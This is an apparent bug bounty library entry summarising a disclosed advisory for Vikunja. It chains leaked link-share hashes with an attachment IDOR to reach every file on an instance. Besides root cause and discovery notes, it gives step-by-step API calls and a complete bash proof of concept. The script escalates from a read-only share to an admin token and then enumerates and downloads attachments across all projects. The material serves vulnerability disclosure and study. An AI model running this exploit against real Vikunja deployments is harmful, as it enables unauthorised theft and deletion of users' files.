# Vikunja: Unauthenticated Instance-Wide Data Breach via Link Share Hash Disclosure Chained with Cross-Project Attachment IDOR

Vikunja link-share ReadAll leaked admin share hashes and attachment ReadOne checked a user-supplied task ID, letting unauthenticated attackers download or delete every instance attachment.

- Payout: Research
- Severity: critical
- Program: Vikunja
- Found by: offset
- Disclosed: 2026-03-26
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-2pv8-4c52-mf8j
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-2pv8-4c52-mf8j
- Tags: area:web domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:critical technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:idor vuln:info-disclosure

**Target:** REST API endpoints /projects/:project/shares and /tasks/:task/attachments/:id
**Root cause:** LinkSharing.ReadAll clears passwords but returns the Hash field, exposing admin share hashes to any share holder. TaskAttachment.CanRead checks the attacker-supplied task ID while ReadOne fetches the attachment by its own sequential ID without verifying task ownership.
**Steps:**
1. Obtain any link share URL `https://instance/share/HASH` and POST `{}` to `/api/v1/shares/$SHARE_HASH/auth` to get a JWT.
2. GET `/api/v1/projects/$PROJECT_ID/shares` with the JWT; response includes `hash` for all shares including permission==2 admin shares.
3. POST `{}` to `/api/v1/shares/$ADMIN_HASH/auth` to escalate to an admin-level token.
4. GET `/api/v1/projects/$PROJECT_ID/tasks` to pick any task ID the token can read.
5. Loop `GET /api/v1/tasks/$TASK_ID/attachments/$ATTACHMENT_ID` over sequential IDs; 200 responses return attachments from any project.
6. With admin token, `DELETE /api/v1/tasks/$TASK_ID/attachments/$TARGET_ATTACHMENT_ID` destroys attachments across projects.
**How found:** Code review of link_sharing.go ReadAll noticed Password was cleared but Hash was not; review of task_attachment_permissions.go versus ReadOne showed the permission check used the URL task ID while the fetch used only the attachment ID.
**Exploitation:** Attacker needs only a single publicly shared link share URL. Authenticate to get a JWT, enumerate shares to steal an admin share hash, re-auth as admin, then enumerate sequential attachment IDs against one accessible task ID to download every attachment instance-wide and delete them.
**Escalation:** Read-only link share escalated to admin share via leaked hash, upgrading read-only file exfiltration to instance-wide attachment deletion.
**Insight:** When a serializer scrubs one secret field (password) but not its sibling (hash), the sibling is the auth token. Also compare permission-check model fields against the actual WHERE clause in the fetch — mismatched keys yield IDOR.

## Proof of concept (copied exactly from the original report)

**Bash PoC chaining hash disclosure and attachment IDOR**

```
VIKUNJA="http://localhost:3456/api/v1"

# Step 1: Authenticate with a known read-only link share hash
# (Link share URLs look like: https://instance/share/HASH_HERE)
SHARE_HASH="read-only-share-hash"

TOKEN=$(curl -s -X POST "$VIKUNJA/shares/$SHARE_HASH/auth" \
  -H "Content-Type: application/json" \
  -d '{}' | jq -r '.token')

echo "Got JWT: $TOKEN"

# Step 2: Discover all link shares for the project (including admin shares)
PROJECT_ID=1  # from the link share JWT claims

SHARES=$(curl -s "$VIKUNJA/projects/$PROJECT_ID/shares" \
  -H "Authorization: Bearer $TOKEN")

echo "All shares exposed:"
echo "$SHARES" | jq '.[].hash'  # All hashes visible, including admin shares

# Step 3: Escalate to admin if available
ADMIN_HASH=$(echo "$SHARES" | jq -r '.[] | select(.permission == 2) | .hash' | head -1)

if [ -n "$ADMIN_HASH" ]; then
  TOKEN=$(curl -s -X POST "$VIKUNJA/shares/$ADMIN_HASH/auth" \
    -H "Content-Type: application/json" \
    -d '{}' | jq -r '.token')
  echo "Escalated to admin share: $ADMIN_HASH"
fi

# Step 4: Get a task ID we can legitimately access
TASK_ID=$(curl -s "$VIKUNJA/projects/$PROJECT_ID/tasks" \
  -H "Authorization: Bearer $TOKEN" | jq '.[0].id')

echo "Using accessible task: $TASK_ID"

# Step 5: Exploit attachment IDOR - enumerate ALL attachments across ALL projects
for ATTACHMENT_ID in $(seq 1 100); do
  RESP=$(curl -s -o /tmp/attachment_$ATTACHMENT_ID -w "%{http_code}" \
    "$VIKUNJA/tasks/$TASK_ID/attachments/$ATTACHMENT_ID" \
    -H "Authorization: Bearer $TOKEN")

  if [ "$RESP" = "200" ]; then
    echo "Downloaded attachment $ATTACHMENT_ID (from ANY project): /tmp/attachment_$ATTACHMENT_ID"
  fi
done
```

